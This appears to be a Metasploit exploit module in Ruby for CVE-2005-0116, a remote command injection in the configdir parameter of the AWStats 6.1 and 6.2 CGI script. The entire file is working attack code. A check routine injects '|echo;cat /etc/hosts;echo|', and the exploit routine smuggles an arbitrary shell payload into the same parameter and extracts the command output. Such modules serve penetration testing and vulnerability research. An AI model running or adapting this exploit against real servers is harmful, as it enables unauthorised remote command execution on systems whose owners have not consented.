AWStats 6.2 < 6.1 - configdir Command Injection (Metasploit)

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AWStats configdir Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
					AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
					are vulnerable.
			},
			'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2005-0116'],
					['OSVDB', '13002'],
					['BID', '12298'],
					['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},		
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 15 2005',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
				], self.class)
	end

	def check
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
			{
				'configdir' => '|echo;cat /etc/hosts;echo|'
			}
		}, 25)

		if (res and res.body.match(/localhost/))
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		command = Rex::Text.uri_encode(payload.encoded)
		urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"

		res = send_request_raw({
			'uri'     => urlconfigdir,
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")

			m = res.body.match(/YYY\n(.*)\nYYY/m)

			if (m)
				print_status("Command output from the server:")
				print("\n" + m[1] + "\n\n")
			else
				print_status("This server may not be vulnerable")
			end
		else
			print_status("No response from the server")
		end
	end

end